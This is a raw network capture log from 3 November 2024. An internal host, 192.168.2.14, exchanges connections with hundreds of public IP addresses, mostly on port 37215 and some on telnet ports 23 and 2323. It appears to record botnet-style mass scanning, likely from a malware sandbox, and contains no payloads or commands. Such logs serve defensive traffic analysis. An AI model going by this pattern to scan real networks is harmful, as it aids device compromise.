Nov 3, 2024 15:33:04.927562952 CET	23	45076	174.169.170.73	192.168.2.14
Nov 3, 2024 15:33:04.927582026 CET	37215	4847	197.253.90.85	192.168.2.14
Nov 3, 2024 15:33:04.927593946 CET	37215	4847	41.77.222.65	192.168.2.14
Nov 3, 2024 15:33:04.927659035 CET	37215	4847	197.246.202.33	192.168.2.14
Nov 3, 2024 15:33:04.927676916 CET	37215	4847	197.177.65.184	192.168.2.14
Nov 3, 2024 15:33:04.927686930 CET	4847	37215	192.168.2.14	197.253.90.85
Nov 3, 2024 15:33:04.927690029 CET	37215	4847	156.66.179.174	192.168.2.14
Nov 3, 2024 15:33:04.927694082 CET	4847	37215	192.168.2.14	41.77.222.65
Nov 3, 2024 15:33:04.927696943 CET	4847	37215	192.168.2.14	197.246.202.33
Nov 3, 2024 15:33:04.927709103 CET	37215	4847	41.29.237.176	192.168.2.14
Nov 3, 2024 15:33:04.927715063 CET	4847	37215	192.168.2.14	197.177.65.184
Nov 3, 2024 15:33:04.927726984 CET	37215	4847	41.182.162.23	192.168.2.14
Nov 3, 2024 15:33:04.927727938 CET	4847	37215	192.168.2.14	156.66.179.174
Nov 3, 2024 15:33:04.927745104 CET	37215	4847	156.17.27.92	192.168.2.14
Nov 3, 2024 15:33:04.927748919 CET	4847	37215	192.168.2.14	41.29.237.176
Nov 3, 2024 15:33:04.927756071 CET	37215	4847	41.16.184.126	192.168.2.14
Nov 3, 2024 15:33:04.927764893 CET	4847	37215	192.168.2.14	41.182.162.23
Nov 3, 2024 15:33:04.927766085 CET	37215	4847	197.36.63.33	192.168.2.14
Nov 3, 2024 15:33:04.927779913 CET	37215	4847	41.182.138.44	192.168.2.14
Nov 3, 2024 15:33:04.927792072 CET	37215	4847	41.255.213.166	192.168.2.14
Nov 3, 2024 15:33:04.927803993 CET	37215	4847	41.28.217.127	192.168.2.14
Nov 3, 2024 15:33:04.927805901 CET	4847	37215	192.168.2.14	156.17.27.92
Nov 3, 2024 15:33:04.927810907 CET	4847	37215	192.168.2.14	197.36.63.33
Nov 3, 2024 15:33:04.927814007 CET	4847	37215	192.168.2.14	41.16.184.126
Nov 3, 2024 15:33:04.927814960 CET	37215	4847	156.0.95.142	192.168.2.14
Nov 3, 2024 15:33:04.927824020 CET	4847	37215	192.168.2.14	41.182.138.44
Nov 3, 2024 15:33:04.927826881 CET	2323	42666	67.206.244.155	192.168.2.14
Nov 3, 2024 15:33:04.927839994 CET	4847	37215	192.168.2.14	41.28.217.127
Nov 3, 2024 15:33:04.927845001 CET	4847	37215	192.168.2.14	41.255.213.166
Nov 3, 2024 15:33:04.927845955 CET	37215	4847	41.101.148.240	192.168.2.14
Nov 3, 2024 15:33:04.927851915 CET	4847	37215	192.168.2.14	156.0.95.142
Nov 3, 2024 15:33:04.927856922 CET	37215	4847	156.119.90.145	192.168.2.14
Nov 3, 2024 15:33:04.927867889 CET	37215	4847	41.155.34.109	192.168.2.14
Nov 3, 2024 15:33:04.927879095 CET	37215	4847	197.240.206.147	192.168.2.14
Nov 3, 2024 15:33:04.927886963 CET	4847	37215	192.168.2.14	41.101.148.240
Nov 3, 2024 15:33:04.927886963 CET	4847	37215	192.168.2.14	156.119.90.145
Nov 3, 2024 15:33:04.927891970 CET	37215	4847	197.182.169.247	192.168.2.14
Nov 3, 2024 15:33:04.927902937 CET	37215	4847	156.100.168.13	192.168.2.14
Nov 3, 2024 15:33:04.927907944 CET	4847	37215	192.168.2.14	41.155.34.109
Nov 3, 2024 15:33:04.927910089 CET	4847	37215	192.168.2.14	197.240.206.147
Nov 3, 2024 15:33:04.927915096 CET	37215	4847	41.212.204.137	192.168.2.14
Nov 3, 2024 15:33:04.927923918 CET	37215	4847	156.46.10.176	192.168.2.14
Nov 3, 2024 15:33:04.927932978 CET	4847	37215	192.168.2.14	156.100.168.13
Nov 3, 2024 15:33:04.927934885 CET	4847	37215	192.168.2.14	197.182.169.247
Nov 3, 2024 15:33:04.927936077 CET	37215	4847	41.238.143.221	192.168.2.14
Nov 3, 2024 15:33:04.927947998 CET	37215	4847	197.229.196.212	192.168.2.14
Nov 3, 2024 15:33:04.927956104 CET	4847	37215	192.168.2.14	156.46.10.176
Nov 3, 2024 15:33:04.927956104 CET	4847	37215	192.168.2.14	41.212.204.137
Nov 3, 2024 15:33:04.927959919 CET	37215	4847	197.218.32.3	192.168.2.14
Nov 3, 2024 15:33:04.927970886 CET	37215	4847	197.153.80.40	192.168.2.14
Nov 3, 2024 15:33:04.927975893 CET	4847	37215	192.168.2.14	197.229.196.212
Nov 3, 2024 15:33:04.927978992 CET	4847	37215	192.168.2.14	41.238.143.221
Nov 3, 2024 15:33:04.927983046 CET	37215	4847	197.194.22.133	192.168.2.14
Nov 3, 2024 15:33:04.927997112 CET	37215	4847	197.221.43.139	192.168.2.14
Nov 3, 2024 15:33:04.928005934 CET	4847	37215	192.168.2.14	197.218.32.3
Nov 3, 2024 15:33:04.928015947 CET	4847	37215	192.168.2.14	197.153.80.40
Nov 3, 2024 15:33:04.928040028 CET	4847	37215	192.168.2.14	197.221.43.139
Nov 3, 2024 15:33:04.928041935 CET	4847	37215	192.168.2.14	197.194.22.133
Nov 3, 2024 15:33:04.928145885 CET	37215	4847	156.42.189.236	192.168.2.14
Nov 3, 2024 15:33:04.928157091 CET	37215	4847	41.70.149.241	192.168.2.14
Nov 3, 2024 15:33:04.928167105 CET	37215	4847	197.14.148.65	192.168.2.14
Nov 3, 2024 15:33:04.928184986 CET	4847	37215	192.168.2.14	156.42.189.236
Nov 3, 2024 15:33:04.928188086 CET	4847	37215	192.168.2.14	41.70.149.241
Nov 3, 2024 15:33:04.928196907 CET	37215	4847	41.239.71.126	192.168.2.14
Nov 3, 2024 15:33:04.928209066 CET	37215	4847	197.183.87.207	192.168.2.14
Nov 3, 2024 15:33:04.928209066 CET	43870	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:04.928211927 CET	4847	37215	192.168.2.14	197.14.148.65
Nov 3, 2024 15:33:04.928220034 CET	37215	4847	197.145.22.71	192.168.2.14
Nov 3, 2024 15:33:04.928231955 CET	4847	37215	192.168.2.14	41.239.71.126
Nov 3, 2024 15:33:04.928232908 CET	37215	4847	41.209.207.161	192.168.2.14
Nov 3, 2024 15:33:04.928256035 CET	37215	4847	41.255.13.170	192.168.2.14
Nov 3, 2024 15:33:04.928256989 CET	4847	37215	192.168.2.14	197.183.87.207
Nov 3, 2024 15:33:04.928256989 CET	4847	37215	192.168.2.14	197.145.22.71
Nov 3, 2024 15:33:04.928267956 CET	37215	4847	197.251.248.56	192.168.2.14
Nov 3, 2024 15:33:04.928268909 CET	4847	37215	192.168.2.14	41.209.207.161
Nov 3, 2024 15:33:04.928278923 CET	37215	4847	197.10.248.18	192.168.2.14
Nov 3, 2024 15:33:04.928306103 CET	4847	37215	192.168.2.14	41.255.13.170
Nov 3, 2024 15:33:04.928306103 CET	4847	37215	192.168.2.14	197.10.248.18
Nov 3, 2024 15:33:04.928307056 CET	4847	37215	192.168.2.14	197.251.248.56
Nov 3, 2024 15:33:04.928308964 CET	37215	4847	156.91.204.199	192.168.2.14
Nov 3, 2024 15:33:04.928325891 CET	37215	4847	156.207.53.207	192.168.2.14
Nov 3, 2024 15:33:04.928339005 CET	37215	4847	197.220.209.81	192.168.2.14
Nov 3, 2024 15:33:04.928349018 CET	4847	37215	192.168.2.14	156.91.204.199
Nov 3, 2024 15:33:04.928349972 CET	37215	4847	197.101.46.184	192.168.2.14
Nov 3, 2024 15:33:04.928361893 CET	37215	4847	197.248.58.227	192.168.2.14
Nov 3, 2024 15:33:04.928364038 CET	4847	37215	192.168.2.14	156.207.53.207
Nov 3, 2024 15:33:04.928373098 CET	37215	4847	41.232.228.78	192.168.2.14
Nov 3, 2024 15:33:04.928374052 CET	4847	37215	192.168.2.14	197.220.209.81
Nov 3, 2024 15:33:04.928385973 CET	37215	4847	41.0.164.200	192.168.2.14
Nov 3, 2024 15:33:04.928383112 CET	4847	37215	192.168.2.14	197.101.46.184
Nov 3, 2024 15:33:04.928399086 CET	37215	4847	197.15.49.163	192.168.2.14
Nov 3, 2024 15:33:04.928400993 CET	4847	37215	192.168.2.14	197.248.58.227
Nov 3, 2024 15:33:04.928406000 CET	4847	37215	192.168.2.14	41.232.228.78
Nov 3, 2024 15:33:04.928411007 CET	37215	4847	41.220.57.135	192.168.2.14
Nov 3, 2024 15:33:04.928422928 CET	37215	4847	156.172.66.240	192.168.2.14
Nov 3, 2024 15:33:04.928427935 CET	4847	37215	192.168.2.14	41.0.164.200
Nov 3, 2024 15:33:04.928435087 CET	37215	4847	156.5.88.178	192.168.2.14
Nov 3, 2024 15:33:04.928442001 CET	4847	37215	192.168.2.14	197.15.49.163
Nov 3, 2024 15:33:04.928447008 CET	37215	4847	156.191.244.91	192.168.2.14
Nov 3, 2024 15:33:04.928457975 CET	37215	4847	197.172.4.231	192.168.2.14
Nov 3, 2024 15:33:04.928464890 CET	4847	37215	192.168.2.14	156.172.66.240
Nov 3, 2024 15:33:04.928466082 CET	4847	37215	192.168.2.14	41.220.57.135
Nov 3, 2024 15:33:04.928467035 CET	4847	37215	192.168.2.14	156.5.88.178
Nov 3, 2024 15:33:04.928467989 CET	37215	4847	197.157.136.241	192.168.2.14
Nov 3, 2024 15:33:04.928488970 CET	37215	4847	156.12.2.224	192.168.2.14
Nov 3, 2024 15:33:04.928495884 CET	4847	37215	192.168.2.14	156.191.244.91
Nov 3, 2024 15:33:04.928498030 CET	4847	37215	192.168.2.14	197.172.4.231
Nov 3, 2024 15:33:04.928500891 CET	37215	4847	156.136.215.98	192.168.2.14
Nov 3, 2024 15:33:04.928514004 CET	4847	37215	192.168.2.14	197.157.136.241
Nov 3, 2024 15:33:04.928514004 CET	37215	4847	156.198.220.36	192.168.2.14
Nov 3, 2024 15:33:04.928523064 CET	4847	37215	192.168.2.14	156.12.2.224
Nov 3, 2024 15:33:04.928525925 CET	23	52072	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:04.928543091 CET	4847	37215	192.168.2.14	156.136.215.98
Nov 3, 2024 15:33:04.928560972 CET	4847	37215	192.168.2.14	156.198.220.36
Nov 3, 2024 15:33:04.928679943 CET	37215	4847	197.211.49.210	192.168.2.14
Nov 3, 2024 15:33:04.928719044 CET	37215	4847	156.58.146.174	192.168.2.14
Nov 3, 2024 15:33:04.928719997 CET	4847	37215	192.168.2.14	197.211.49.210
Nov 3, 2024 15:33:04.928730011 CET	37215	4847	156.30.235.187	192.168.2.14
Nov 3, 2024 15:33:04.928760052 CET	37215	4847	156.226.153.32	192.168.2.14
Nov 3, 2024 15:33:04.928766012 CET	4847	37215	192.168.2.14	156.58.146.174
Nov 3, 2024 15:33:04.928771019 CET	4847	37215	192.168.2.14	156.30.235.187
Nov 3, 2024 15:33:04.928778887 CET	37215	4847	41.130.46.78	192.168.2.14
Nov 3, 2024 15:33:04.928787947 CET	37215	4847	197.5.24.43	192.168.2.14
Nov 3, 2024 15:33:04.928813934 CET	37215	4847	197.12.107.245	192.168.2.14
Nov 3, 2024 15:33:04.928816080 CET	4847	37215	192.168.2.14	156.226.153.32
Nov 3, 2024 15:33:04.928816080 CET	4847	37215	192.168.2.14	41.130.46.78
Nov 3, 2024 15:33:04.928824902 CET	37215	4847	41.102.69.217	192.168.2.14
Nov 3, 2024 15:33:04.928843975 CET	4847	37215	192.168.2.14	197.5.24.43
Nov 3, 2024 15:33:04.928849936 CET	37215	4847	156.21.83.209	192.168.2.14
Nov 3, 2024 15:33:04.928850889 CET	4847	37215	192.168.2.14	197.12.107.245
Nov 3, 2024 15:33:04.928860903 CET	4847	37215	192.168.2.14	41.102.69.217
Nov 3, 2024 15:33:04.928869009 CET	37215	4847	156.205.32.225	192.168.2.14
Nov 3, 2024 15:33:04.928880930 CET	37215	4847	156.216.233.160	192.168.2.14
Nov 3, 2024 15:33:04.928893089 CET	4847	37215	192.168.2.14	156.21.83.209
Nov 3, 2024 15:33:04.928893089 CET	37215	4847	197.15.220.101	192.168.2.14
Nov 3, 2024 15:33:04.928905010 CET	37215	4847	41.121.49.23	192.168.2.14
Nov 3, 2024 15:33:04.928915977 CET	37215	4847	156.75.68.213	192.168.2.14
Nov 3, 2024 15:33:04.928917885 CET	4847	37215	192.168.2.14	156.205.32.225
Nov 3, 2024 15:33:04.928922892 CET	4847	37215	192.168.2.14	156.216.233.160
Nov 3, 2024 15:33:04.928925037 CET	4847	37215	192.168.2.14	197.15.220.101
Nov 3, 2024 15:33:04.928927898 CET	4847	37215	192.168.2.14	41.121.49.23
Nov 3, 2024 15:33:04.928929090 CET	23	36622	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:04.928941965 CET	37215	4847	41.210.42.100	192.168.2.14
Nov 3, 2024 15:33:04.928955078 CET	37215	4847	197.204.223.186	192.168.2.14
Nov 3, 2024 15:33:04.928966045 CET	37215	4847	156.156.114.81	192.168.2.14
Nov 3, 2024 15:33:04.928977013 CET	37215	4847	156.34.212.10	192.168.2.14
Nov 3, 2024 15:33:04.928980112 CET	36622	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:04.928988934 CET	37215	4847	41.134.149.121	192.168.2.14
Nov 3, 2024 15:33:04.928989887 CET	4847	37215	192.168.2.14	41.210.42.100
Nov 3, 2024 15:33:04.928989887 CET	4847	37215	192.168.2.14	156.75.68.213
Nov 3, 2024 15:33:04.929001093 CET	37215	4847	197.189.112.247	192.168.2.14
Nov 3, 2024 15:33:04.929003954 CET	52072	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:04.929006100 CET	33708	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:04.929007053 CET	42332	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:04.929007053 CET	42666	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:04.929011106 CET	45076	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:04.929011106 CET	44440	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:04.929011106 CET	52588	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:04.929014921 CET	37215	4847	41.202.210.14	192.168.2.14
Nov 3, 2024 15:33:04.929014921 CET	42326	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:04.929018974 CET	4847	37215	192.168.2.14	156.156.114.81
Nov 3, 2024 15:33:04.929018974 CET	44450	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:04.929018974 CET	4847	37215	192.168.2.14	197.204.223.186
Nov 3, 2024 15:33:04.929023981 CET	50190	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:04.929023981 CET	4847	37215	192.168.2.14	41.134.149.121
Nov 3, 2024 15:33:04.929025888 CET	37215	4847	156.57.68.154	192.168.2.14
Nov 3, 2024 15:33:04.929039001 CET	37215	4847	197.72.240.66	192.168.2.14
Nov 3, 2024 15:33:04.929039955 CET	4847	37215	192.168.2.14	156.34.212.10
Nov 3, 2024 15:33:04.929039955 CET	4847	37215	192.168.2.14	197.189.112.247
Nov 3, 2024 15:33:04.929049015 CET	37215	4847	41.52.162.125	192.168.2.14
Nov 3, 2024 15:33:04.929059982 CET	37215	4847	41.176.221.219	192.168.2.14
Nov 3, 2024 15:33:04.929059982 CET	4847	37215	192.168.2.14	41.202.210.14
Nov 3, 2024 15:33:04.929059982 CET	4847	37215	192.168.2.14	156.57.68.154
Nov 3, 2024 15:33:04.929071903 CET	37215	4847	41.81.128.174	192.168.2.14
Nov 3, 2024 15:33:04.929080009 CET	4847	37215	192.168.2.14	41.52.162.125
Nov 3, 2024 15:33:04.929083109 CET	37215	4847	197.205.41.0	192.168.2.14
Nov 3, 2024 15:33:04.929083109 CET	4847	37215	192.168.2.14	197.72.240.66
Nov 3, 2024 15:33:04.929102898 CET	4847	37215	192.168.2.14	41.176.221.219
Nov 3, 2024 15:33:04.929105997 CET	4847	37215	192.168.2.14	41.81.128.174
Nov 3, 2024 15:33:04.929121971 CET	4847	37215	192.168.2.14	197.205.41.0
Nov 3, 2024 15:33:04.929181099 CET	37215	4847	156.191.188.37	192.168.2.14
Nov 3, 2024 15:33:04.929189920 CET	37215	4847	156.250.91.91	192.168.2.14
Nov 3, 2024 15:33:04.929199934 CET	37215	4847	197.46.239.148	192.168.2.14
Nov 3, 2024 15:33:04.929213047 CET	37215	4847	156.247.238.233	192.168.2.14
Nov 3, 2024 15:33:04.929222107 CET	4847	37215	192.168.2.14	156.191.188.37
Nov 3, 2024 15:33:04.929228067 CET	4847	37215	192.168.2.14	156.250.91.91
Nov 3, 2024 15:33:04.929234028 CET	4847	37215	192.168.2.14	197.46.239.148
Nov 3, 2024 15:33:04.929253101 CET	4847	37215	192.168.2.14	156.247.238.233
Nov 3, 2024 15:33:04.929270983 CET	36852	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:04.929337025 CET	37215	4847	41.40.6.241	192.168.2.14
Nov 3, 2024 15:33:04.929347992 CET	37215	4847	156.156.80.155	192.168.2.14
Nov 3, 2024 15:33:04.929356098 CET	37215	4847	197.72.133.79	192.168.2.14
Nov 3, 2024 15:33:04.929364920 CET	37215	4847	197.52.96.75	192.168.2.14
Nov 3, 2024 15:33:04.929375887 CET	37215	4847	156.252.201.171	192.168.2.14
Nov 3, 2024 15:33:04.929388046 CET	37215	4847	156.173.126.146	192.168.2.14
Nov 3, 2024 15:33:04.929394960 CET	4847	37215	192.168.2.14	197.72.133.79
Nov 3, 2024 15:33:04.929394960 CET	4847	37215	192.168.2.14	41.40.6.241
Nov 3, 2024 15:33:04.929399967 CET	37215	4847	41.150.5.120	192.168.2.14
Nov 3, 2024 15:33:04.929403067 CET	4847	37215	192.168.2.14	156.156.80.155
Nov 3, 2024 15:33:04.929403067 CET	4847	37215	192.168.2.14	197.52.96.75
Nov 3, 2024 15:33:04.929414034 CET	37215	4847	41.102.243.74	192.168.2.14
Nov 3, 2024 15:33:04.929420948 CET	4847	37215	192.168.2.14	156.252.201.171
Nov 3, 2024 15:33:04.929425001 CET	37215	4847	41.219.219.23	192.168.2.14
Nov 3, 2024 15:33:04.929435015 CET	4847	37215	192.168.2.14	156.173.126.146
Nov 3, 2024 15:33:04.929435968 CET	37215	4847	41.143.29.254	192.168.2.14
Nov 3, 2024 15:33:04.929464102 CET	4847	37215	192.168.2.14	41.102.243.74
Nov 3, 2024 15:33:04.929466009 CET	37215	4847	41.88.49.228	192.168.2.14
Nov 3, 2024 15:33:04.929466009 CET	4847	37215	192.168.2.14	41.219.219.23
Nov 3, 2024 15:33:04.929467916 CET	37215	4847	197.191.196.32	192.168.2.14
Nov 3, 2024 15:33:04.929472923 CET	4847	37215	192.168.2.14	41.150.5.120
Nov 3, 2024 15:33:04.929476023 CET	37215	4847	41.226.77.90	192.168.2.14
Nov 3, 2024 15:33:04.929486036 CET	37215	4847	197.145.211.54	192.168.2.14
Nov 3, 2024 15:33:04.929491997 CET	4847	37215	192.168.2.14	41.143.29.254
Nov 3, 2024 15:33:04.929495096 CET	4847	37215	192.168.2.14	41.88.49.228
Nov 3, 2024 15:33:04.929497004 CET	37215	4847	41.68.215.50	192.168.2.14
Nov 3, 2024 15:33:04.929508924 CET	37215	4847	156.195.149.130	192.168.2.14
Nov 3, 2024 15:33:04.929516077 CET	4847	37215	192.168.2.14	41.226.77.90
Nov 3, 2024 15:33:04.929517984 CET	4847	37215	192.168.2.14	197.145.211.54
Nov 3, 2024 15:33:04.929521084 CET	37215	4847	197.34.65.170	192.168.2.14
Nov 3, 2024 15:33:04.929521084 CET	4847	37215	192.168.2.14	197.191.196.32
Nov 3, 2024 15:33:04.929528952 CET	4847	37215	192.168.2.14	41.68.215.50
Nov 3, 2024 15:33:04.929533958 CET	37215	4847	197.192.38.220	192.168.2.14
Nov 3, 2024 15:33:04.929546118 CET	37215	4847	156.116.151.255	192.168.2.14
Nov 3, 2024 15:33:04.929553986 CET	4847	37215	192.168.2.14	156.195.149.130
Nov 3, 2024 15:33:04.929557085 CET	37215	4847	41.11.80.28	192.168.2.14
Nov 3, 2024 15:33:04.929558992 CET	4847	37215	192.168.2.14	197.34.65.170
Nov 3, 2024 15:33:04.929569006 CET	37215	4847	41.242.241.82	192.168.2.14
Nov 3, 2024 15:33:04.929579973 CET	4847	37215	192.168.2.14	156.116.151.255
Nov 3, 2024 15:33:04.929579973 CET	4847	37215	192.168.2.14	41.11.80.28
Nov 3, 2024 15:33:04.929580927 CET	4847	37215	192.168.2.14	197.192.38.220
Nov 3, 2024 15:33:04.929582119 CET	37215	4847	41.157.15.242	192.168.2.14
Nov 3, 2024 15:33:04.929611921 CET	4847	37215	192.168.2.14	41.242.241.82
Nov 3, 2024 15:33:04.929611921 CET	37215	4847	156.119.121.23	192.168.2.14
Nov 3, 2024 15:33:04.929634094 CET	37215	4847	41.14.202.144	192.168.2.14
Nov 3, 2024 15:33:04.929635048 CET	4847	37215	192.168.2.14	41.157.15.242
Nov 3, 2024 15:33:04.929644108 CET	37215	4847	156.124.170.31	192.168.2.14
Nov 3, 2024 15:33:04.929655075 CET	37215	4847	41.208.151.38	192.168.2.14
Nov 3, 2024 15:33:04.929666042 CET	4847	37215	192.168.2.14	156.119.121.23
Nov 3, 2024 15:33:04.929666042 CET	4847	37215	192.168.2.14	41.14.202.144
Nov 3, 2024 15:33:04.929697037 CET	4847	37215	192.168.2.14	41.208.151.38
Nov 3, 2024 15:33:04.929701090 CET	4847	37215	192.168.2.14	156.124.170.31
Nov 3, 2024 15:33:04.929729939 CET	37215	4847	41.90.202.248	192.168.2.14
Nov 3, 2024 15:33:04.929739952 CET	37215	4847	156.244.16.240	192.168.2.14
Nov 3, 2024 15:33:04.929748058 CET	37215	4847	156.175.216.250	192.168.2.14
Nov 3, 2024 15:33:04.929758072 CET	37215	4847	197.11.181.240	192.168.2.14
Nov 3, 2024 15:33:04.929769039 CET	37215	4847	197.118.242.113	192.168.2.14
Nov 3, 2024 15:33:04.929775953 CET	4847	37215	192.168.2.14	41.90.202.248
Nov 3, 2024 15:33:04.929778099 CET	4847	37215	192.168.2.14	156.244.16.240
Nov 3, 2024 15:33:04.929788113 CET	4847	37215	192.168.2.14	156.175.216.250
Nov 3, 2024 15:33:04.929788113 CET	37215	4847	156.174.195.186	192.168.2.14
Nov 3, 2024 15:33:04.929794073 CET	4847	37215	192.168.2.14	197.11.181.240
Nov 3, 2024 15:33:04.929800034 CET	37215	4847	197.245.126.233	192.168.2.14
Nov 3, 2024 15:33:04.929809093 CET	4847	37215	192.168.2.14	197.118.242.113
Nov 3, 2024 15:33:04.929811001 CET	37215	4847	41.80.189.199	192.168.2.14
Nov 3, 2024 15:33:04.929824114 CET	37215	4847	156.96.251.104	192.168.2.14
Nov 3, 2024 15:33:04.929828882 CET	4847	37215	192.168.2.14	156.174.195.186
Nov 3, 2024 15:33:04.929833889 CET	37215	4847	41.153.208.75	192.168.2.14
Nov 3, 2024 15:33:04.929835081 CET	4847	37215	192.168.2.14	197.245.126.233
Nov 3, 2024 15:33:04.929846048 CET	37215	4847	41.198.95.146	192.168.2.14
Nov 3, 2024 15:33:04.929850101 CET	4847	37215	192.168.2.14	41.80.189.199
Nov 3, 2024 15:33:04.929858923 CET	37215	4847	156.38.89.2	192.168.2.14
Nov 3, 2024 15:33:04.929861069 CET	4847	37215	192.168.2.14	156.96.251.104
Nov 3, 2024 15:33:04.929867983 CET	4847	37215	192.168.2.14	41.153.208.75
Nov 3, 2024 15:33:04.929868937 CET	37215	4847	41.25.159.67	192.168.2.14
Nov 3, 2024 15:33:04.929881096 CET	37215	4847	156.71.107.164	192.168.2.14
Nov 3, 2024 15:33:04.929893970 CET	37215	4847	197.206.86.11	192.168.2.14
Nov 3, 2024 15:33:04.929908991 CET	4847	37215	192.168.2.14	156.38.89.2
Nov 3, 2024 15:33:04.929914951 CET	37215	4847	41.111.165.252	192.168.2.14
Nov 3, 2024 15:33:04.929919004 CET	4847	37215	192.168.2.14	41.25.159.67
Nov 3, 2024 15:33:04.929919004 CET	4847	37215	192.168.2.14	41.198.95.146
Nov 3, 2024 15:33:04.929925919 CET	4847	37215	192.168.2.14	156.71.107.164
Nov 3, 2024 15:33:04.929927111 CET	37215	4847	197.27.103.210	192.168.2.14
Nov 3, 2024 15:33:04.929928064 CET	4847	37215	192.168.2.14	197.206.86.11
Nov 3, 2024 15:33:04.929948092 CET	37215	4847	41.225.192.155	192.168.2.14
Nov 3, 2024 15:33:04.929955959 CET	4847	37215	192.168.2.14	41.111.165.252
Nov 3, 2024 15:33:04.929960012 CET	37215	4847	41.148.229.40	192.168.2.14
Nov 3, 2024 15:33:04.929970980 CET	4847	37215	192.168.2.14	197.27.103.210
Nov 3, 2024 15:33:04.929971933 CET	37215	4847	197.57.220.244	192.168.2.14
Nov 3, 2024 15:33:04.929985046 CET	37215	4847	197.238.245.101	192.168.2.14
Nov 3, 2024 15:33:04.929991007 CET	4847	37215	192.168.2.14	41.148.229.40
Nov 3, 2024 15:33:04.929992914 CET	4847	37215	192.168.2.14	41.225.192.155
Nov 3, 2024 15:33:04.929995060 CET	37215	4847	156.213.20.235	192.168.2.14
Nov 3, 2024 15:33:04.930006981 CET	37215	4847	41.29.200.54	192.168.2.14
Nov 3, 2024 15:33:04.930016994 CET	4847	37215	192.168.2.14	197.238.245.101
Nov 3, 2024 15:33:04.930016994 CET	4847	37215	192.168.2.14	197.57.220.244
Nov 3, 2024 15:33:04.930020094 CET	37215	4847	41.155.170.171	192.168.2.14
Nov 3, 2024 15:33:04.930027008 CET	4847	37215	192.168.2.14	156.213.20.235
Nov 3, 2024 15:33:04.930047989 CET	37215	4847	197.168.225.75	192.168.2.14
Nov 3, 2024 15:33:04.930052042 CET	4847	37215	192.168.2.14	41.29.200.54
Nov 3, 2024 15:33:04.930062056 CET	37215	4847	156.83.219.194	192.168.2.14
Nov 3, 2024 15:33:04.930063963 CET	4847	37215	192.168.2.14	41.155.170.171
Nov 3, 2024 15:33:04.930063963 CET	38868	23	192.168.2.14	174.11.30.87
Nov 3, 2024 15:33:04.930074930 CET	37215	4847	41.172.9.83	192.168.2.14
Nov 3, 2024 15:33:04.930088997 CET	4847	37215	192.168.2.14	197.168.225.75
Nov 3, 2024 15:33:04.930107117 CET	4847	37215	192.168.2.14	156.83.219.194
Nov 3, 2024 15:33:04.930114985 CET	37215	4847	41.169.129.222	192.168.2.14
Nov 3, 2024 15:33:04.930119991 CET	4847	37215	192.168.2.14	41.172.9.83
Nov 3, 2024 15:33:04.930131912 CET	37215	4847	156.138.125.167	192.168.2.14
Nov 3, 2024 15:33:04.930141926 CET	37215	4847	156.57.46.115	192.168.2.14
Nov 3, 2024 15:33:04.930160046 CET	37215	4847	197.199.96.106	192.168.2.14
Nov 3, 2024 15:33:04.930169106 CET	4847	37215	192.168.2.14	41.169.129.222
Nov 3, 2024 15:33:04.930169106 CET	4847	37215	192.168.2.14	156.57.46.115
Nov 3, 2024 15:33:04.930169106 CET	4847	37215	192.168.2.14	156.138.125.167
Nov 3, 2024 15:33:04.930171013 CET	37215	4847	156.111.141.0	192.168.2.14
Nov 3, 2024 15:33:04.930206060 CET	4847	37215	192.168.2.14	197.199.96.106
Nov 3, 2024 15:33:04.930214882 CET	4847	37215	192.168.2.14	156.111.141.0
Nov 3, 2024 15:33:04.930264950 CET	37215	4847	156.2.125.224	192.168.2.14
Nov 3, 2024 15:33:04.930278063 CET	37215	4847	156.125.95.197	192.168.2.14
Nov 3, 2024 15:33:04.930279970 CET	37215	4847	41.30.22.60	192.168.2.14
Nov 3, 2024 15:33:04.930299997 CET	37215	4847	41.111.155.164	192.168.2.14
Nov 3, 2024 15:33:04.930309057 CET	4847	37215	192.168.2.14	156.125.95.197
Nov 3, 2024 15:33:04.930311918 CET	4847	37215	192.168.2.14	156.2.125.224
Nov 3, 2024 15:33:04.930313110 CET	37215	4847	41.45.209.41	192.168.2.14
Nov 3, 2024 15:33:04.930322886 CET	37215	4847	156.150.101.134	192.168.2.14
Nov 3, 2024 15:33:04.930325031 CET	4847	37215	192.168.2.14	41.30.22.60
Nov 3, 2024 15:33:04.930335045 CET	37215	4847	156.51.254.224	192.168.2.14
Nov 3, 2024 15:33:04.930337906 CET	4847	37215	192.168.2.14	41.45.209.41
Nov 3, 2024 15:33:04.930341005 CET	4847	37215	192.168.2.14	41.111.155.164
Nov 3, 2024 15:33:04.930346012 CET	37215	4847	41.226.233.243	192.168.2.14
Nov 3, 2024 15:33:04.930356979 CET	37215	4847	156.205.29.65	192.168.2.14
Nov 3, 2024 15:33:04.930362940 CET	4847	37215	192.168.2.14	156.150.101.134
Nov 3, 2024 15:33:04.930370092 CET	37215	4847	156.205.166.217	192.168.2.14
Nov 3, 2024 15:33:04.930382013 CET	37215	4847	41.7.50.207	192.168.2.14
Nov 3, 2024 15:33:04.930391073 CET	37215	4847	156.187.204.50	192.168.2.14
Nov 3, 2024 15:33:04.930391073 CET	4847	37215	192.168.2.14	156.51.254.224
Nov 3, 2024 15:33:04.930392027 CET	4847	37215	192.168.2.14	41.226.233.243
Nov 3, 2024 15:33:04.930391073 CET	4847	37215	192.168.2.14	156.205.29.65
Nov 3, 2024 15:33:04.930398941 CET	4847	37215	192.168.2.14	156.205.166.217
Nov 3, 2024 15:33:04.930406094 CET	37215	4847	156.75.131.80	192.168.2.14
Nov 3, 2024 15:33:04.930418015 CET	37215	4847	156.121.205.170	192.168.2.14
Nov 3, 2024 15:33:04.930423975 CET	4847	37215	192.168.2.14	156.187.204.50
Nov 3, 2024 15:33:04.930427074 CET	4847	37215	192.168.2.14	41.7.50.207
Nov 3, 2024 15:33:04.930433035 CET	37215	4847	156.7.91.254	192.168.2.14
